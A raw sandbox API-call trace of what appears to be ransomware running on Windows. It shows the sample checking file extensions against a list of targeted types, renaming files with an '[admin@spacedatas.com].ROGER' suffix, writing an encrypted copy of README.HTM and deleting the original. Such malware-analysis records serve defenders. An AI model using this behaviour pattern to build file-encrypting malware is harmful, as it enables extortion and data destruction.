1 [0041.395] lstrlenW (lpString=".xlsx") returned 5 [0041.395] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0041.395] lstrlenW (lpString=".ppt") returned 4 [0041.395] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0041.396] lstrlenW (lpString=".zip") returned 4 [0041.396] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.396] lstrlenW (lpString=".rar") returned 4 [0041.396] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.396] lstrlenW (lpString=".bz2") returned 4 [0041.396] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.396] lstrlenW (lpString=".7z") returned 3 [0041.396] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0041.396] lstrlenW (lpString=".dbf") returned 4 [0041.396] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0041.396] lstrlenW (lpString=".1cd") returned 4 [0041.396] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0041.396] lstrlenW (lpString=".jpg") returned 4 [0041.396] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.396] lstrcmpiW (lpString1=".avi", lpString2=".ROGER") returned -1 [0041.396] lstrlenW (lpString="split.avi") returned 9 [0041.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0041.397] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=194048) returned 1 [0041.397] CloseHandle (hObject=0x394) returned 1 [0041.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0041.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0041.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0041.397] lstrlenW (lpString=".doc") returned 4 [0041.397] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.397] lstrlenW (lpString=".docx") returned 5 [0041.397] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0041.397] lstrlenW (lpString=".pdf") returned 4 [0041.397] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.397] lstrlenW (lpString=".xls") returned 4 [0041.397] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.397] lstrlenW (lpString=".xlsx") returned 5 [0041.397] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0041.397] lstrlenW (lpString=".ppt") returned 4 [0041.397] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0041.397] lstrlenW (lpString=".zip") returned 4 [0041.398] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.398] lstrlenW (lpString=".rar") returned 4 [0041.398] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.398] lstrlenW (lpString=".bz2") returned 4 [0041.398] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.398] lstrlenW (lpString=".7z") returned 3 [0041.398] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0041.398] lstrlenW (lpString=".dbf") returned 4 [0041.398] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0041.398] lstrlenW (lpString=".1cd") returned 4 [0041.398] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0041.398] lstrlenW (lpString=".jpg") returned 4 [0041.398] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0041.398] lstrlenW (lpString=".doc") returned 4 [0041.398] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.398] lstrlenW (lpString=".docx") returned 5 [0041.398] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0041.398] lstrlenW (lpString=".pdf") returned 4 [0041.398] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.398] lstrlenW (lpString=".xls") returned 4 [0041.398] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.399] lstrlenW (lpString=".xlsx") returned 5 [0041.399] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0041.399] lstrlenW (lpString=".ppt") returned 4 [0041.399] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0041.399] lstrlenW (lpString=".zip") returned 4 [0041.399] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.399] lstrlenW (lpString=".rar") returned 4 [0041.399] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.399] lstrlenW (lpString=".bz2") returned 4 [0041.399] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.399] lstrlenW (lpString=".7z") returned 3 [0041.399] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0041.399] lstrlenW (lpString=".dbf") returned 4 [0041.399] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0041.399] lstrlenW (lpString=".1cd") returned 4 [0041.399] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0041.399] lstrlenW (lpString=".jpg") returned 4 [0041.399] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.399] lstrcmpiW (lpString1=".avi", lpString2=".ROGER") returned -1 [0041.399] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0041.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0041.400] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1600388) returned 1 [0041.400] CloseHandle (hObject=0x394) returned 1 [0041.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0041.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0041.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0041.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0041.400] lstrlenW (lpString=".doc") returned 4 [0041.400] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.400] lstrlenW (lpString=".docx") returned 5 [0041.400] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0041.400] lstrlenW (lpString=".pdf") returned 4 [0041.400] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.400] lstrlenW (lpString=".xls") returned 4 [0041.400] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.401] lstrlenW (lpString=".xlsx") returned 5 [0041.401] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0041.401] lstrlenW (lpString=".ppt") returned 4 [0041.401] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0041.401] lstrlenW (lpString=".zip") returned 4 [0041.401] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.401] lstrlenW (lpString=".rar") returned 4 [0041.401] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.401] lstrlenW (lpString=".bz2") returned 4 [0041.401] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.401] lstrlenW (lpString=".7z") returned 3 [0041.401] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0041.401] lstrlenW (lpString=".dbf") returned 4 [0041.401] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0041.401] lstrlenW (lpString=".1cd") returned 4 [0041.401] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0041.401] lstrlenW (lpString=".jpg") returned 4 [0041.401] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0041.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0041.401] lstrlenW (lpString=".doc") returned 4 [0041.401] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.401] lstrlenW (lpString=".docx") returned 5 [0041.401] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0041.401] lstrlenW (lpString=".pdf") returned 4 [0041.401] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.401] lstrlenW (lpString=".xls") returned 4 [0041.402] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.402] lstrlenW (lpString=".xlsx") returned 5 [0041.402] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0041.402] lstrlenW (lpString=".ppt") returned 4 [0041.402] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0041.402] lstrlenW (lpString=".zip") returned 4 [0041.402] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.402] lstrlenW (lpString=".rar") returned 4 [0041.402] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.402] lstrlenW (lpString=".bz2") returned 4 [0041.402] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.402] lstrlenW (lpString=".7z") returned 3 [0041.402] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0041.402] lstrlenW (lpString=".dbf") returned 4 [0041.402] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0041.402] lstrlenW (lpString=".1cd") returned 4 [0041.402] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0041.402] lstrlenW (lpString=".jpg") returned 4 [0041.402] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.402] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0041.402] lstrlenW (lpString="auxbase.xml") returned 11 [0041.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0041.906] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1434) returned 1 [0041.906] CloseHandle (hObject=0x374) returned 1 [0041.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0041.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0041.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0041.907] lstrlenW (lpString=".doc") returned 4 [0041.907] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.907] lstrlenW (lpString=".docx") returned 5 [0041.907] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0041.907] lstrlenW (lpString=".pdf") returned 4 [0041.907] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.907] lstrlenW (lpString=".xls") returned 4 [0041.907] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.907] lstrlenW (lpString=".xlsx") returned 5 [0041.907] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0041.907] lstrlenW (lpString=".ppt") returned 4 [0041.907] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0041.907] lstrlenW (lpString=".zip") returned 4 [0041.907] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.907] lstrlenW (lpString=".rar") returned 4 [0041.907] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.907] lstrlenW (lpString=".bz2") returned 4 [0041.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.907] lstrlenW (lpString=".7z") returned 3 [0041.907] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0041.907] lstrlenW (lpString=".dbf") returned 4 [0041.907] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.237] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=392) returned 1 [0042.237] CloseHandle (hObject=0x390) returned 1 [0042.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0042.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.238] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.238] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0042.238] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.238] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.238] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0042.238] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.238] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.238] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.238] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.238] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.238] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.238] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.238] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.239] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.239] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0042.239] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.239] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.239] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0042.239] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.239] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.239] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.239] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.239] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.239] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.239] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.239] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.239] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0042.510] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.510] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0042.515] GetLastError () returned 0x0 [0042.515] ReadFile (in: hFile=0x38c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x795, lpOverlapped=0x0) returned 1 [0042.536] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0042.540] ReadFile (in: hFile=0x38c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.541] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0042.542] SetEndOfFile (hFile=0x36c) returned 1 [0042.542] CloseHandle (hObject=0x36c) returned 1 [0042.544] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.544] SetEndOfFile (hFile=0x38c) returned 1 [0042.546] CloseHandle (hObject=0x38c) returned 1 [0042.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0042.550] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0042.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0042.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0042.550] lstrlenW (lpString=".doc") returned 4 [0042.550] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0042.550] lstrlenW (lpString=".docx") returned 5 [0042.550] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0042.550] lstrlenW (lpString=".pdf") returned 4 [0042.550] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0042.550] lstrlenW (lpString=".xls") returned 4 [0042.550] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0042.550] lstrlenW (lpString=".xlsx") returned 5 [0042.550] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0042.550] lstrlenW (lpString=".ppt") returned 4 [0042.550] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0042.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0042.550] lstrlenW (lpString=".zip") returned 4 [0042.550] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0042.550] lstrlenW (lpString=".rar") returned 4 [0042.550] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0042.550] lstrlenW (lpString=".bz2") returned 4 [0042.550] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0042.550] lstrlenW (lpString=".7z") returned 3 [0042.550] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0042.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0042.551] lstrlenW (lpString=".dbf") returned 4 [0042.551] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0042.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0042.551] lstrlenW (lpString=".1cd") returned 4 [0042.551] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0042.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0042.551] lstrlenW (lpString=".jpg") returned 4 [0042.551] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0042.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0042.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0042.551] lstrlenW (lpString=".doc") returned 4 [0042.551] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0042.551] lstrlenW (lpString=".docx") returned 5 [0042.551] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0042.551] lstrlenW (lpString=".pdf") returned 4 [0042.551] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0042.551] lstrlenW (lpString=".xls") returned 4 [0042.551] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0042.551] lstrlenW (lpString=".xlsx") returned 5 [0042.551] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0042.551] lstrlenW (lpString=".ppt") returned 4 [0042.551] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0042.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0042.551] lstrlenW (lpString=".zip") returned 4 [0042.551] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0042.551] lstrlenW (lpString=".rar") returned 4 [0042.551] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0042.551] lstrlenW (lpString=".bz2") returned 4 [0042.551] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0042.551] lstrlenW (lpString=".7z") returned 3 [0042.551] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0042.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0042.552] lstrlenW (lpString=".dbf") returned 4 [0042.552] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0042.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0042.552] lstrlenW (lpString=".1cd") returned 4 [0042.552] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0042.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0042.552] lstrlenW 